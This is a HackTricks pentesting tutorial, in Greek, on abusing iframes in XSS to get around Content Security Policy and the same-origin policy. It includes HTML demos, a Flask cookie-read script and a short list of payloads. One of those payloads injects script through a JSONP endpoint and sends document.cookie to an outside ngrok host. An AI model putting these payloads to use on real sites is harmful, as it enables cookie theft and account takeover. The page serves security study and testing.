Iframes in XSS, CSP and SOP

Reading time: 6 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Iframes in XSS

Υπάρχουν 3 τρόποι για να υποδείξετε το περιεχόμενο μιας σελίδας που είναι ενσωματωμένη σε iframe:

  • Μέσω src που υποδεικνύει μια διεύθυνση URL (η διεύθυνση URL μπορεί να είναι διασυνοριακή ή ίδια προέλευση)
  • Μέσω src που υποδεικνύει το περιεχόμενο χρησιμοποιώντας το πρωτόκολλο data:
  • Μέσω srcdoc που υποδεικνύει το περιεχόμενο

Accesing Parent & Child vars

html
<html>
<script>
var secret = "31337s3cr37t"
</script>

<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
html
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>

Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το python3 -m http.server) θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή secret μέσα σε οποιοδήποτε iframe και μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret στο αρχικό παράθυρο.
Σημειώστε πώς το if4 θεωρείται ότι έχει null προέλευση.

Iframes με CSP

note

Παρακαλώ, σημειώστε πώς στις παρακάτω παρακάμψεις η απάντηση στη σελίδα που είναι ενσωματωμένη σε iframe δεν περιέχει κανένα CSP header που να αποτρέπει την εκτέλεση JS.

Η τιμή self του script-src δεν θα επιτρέψει την εκτέλεση του JS κώδικα χρησιμοποιώντας το πρωτόκολλο data: ή το χαρακτηριστικό srcdoc.
Ωστόσο, ακόμη και η τιμή none του CSP θα επιτρέψει την εκτέλεση των iframes που βάζουν μια διεύθυνση URL (ολόκληρη ή απλώς τη διαδρομή) στο χαρακτηριστικό src.
Επομένως, είναι δυνατόν να παρακαμφθεί το CSP μιας σελίδας με:

html
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Σημειώστε ότι η προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script.
Ωστόσο, μόνο τα scripts if1 και if2 θα εκτελούνται, αλλά μόνο το if1 θα μπορεί να έχει πρόσβαση στο μυστικό του γονέα.

Επομένως, είναι δυνατόν να παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με script-src 'none'. Αυτό μπορεί πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας.

Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου κλέβεται ένα cookie ακόμη και με script-src 'none'. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:

python
import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp

@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
app.run()

Άλλες Payloads που βρέθηκαν στην άγρια φύση

html
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του sandbox attribute. Από προεπιλογή, αυτό το attribute δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.

Όταν χρησιμοποιείται, το sandbox attribute επιβάλλει αρκετούς περιορισμούς:

  • Το περιεχόμενο αντιμετωπίζεται σαν να προέρχεται από μια μοναδική πηγή.
  • Οποιαδήποτε προσπάθεια υποβολής φορμών αποκλείεται.
  • Η εκτέλεση σεναρίων απαγορεύεται.
  • Η πρόσβαση σε ορισμένα APIs είναι απενεργοποιημένη.
  • Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
  • Η χρήση plugins μέσω των <embed>, <object>, <applet> ή παρόμοιων ετικετών απαγορεύεται.
  • Η πλοήγηση του περιεχομένου στο ανώτατο επίπεδο περιβάλλοντος περιήγησης από το ίδιο το περιεχόμενο αποτρέπεται.
  • Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φορμών, αποκλείονται.

Η τιμή του attribute μπορεί να αφεθεί κενή (sandbox="") για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που εξαιρούν το iframe από ορισμένους περιορισμούς.

html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes στο SOP

Ελέγξτε τις παρακάτω σελίδες:

Bypassing SOP with Iframes - 1

Bypassing SOP with Iframes - 2

Blocking main page to steal postmessage

Steal postmessage modifying iframe location

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks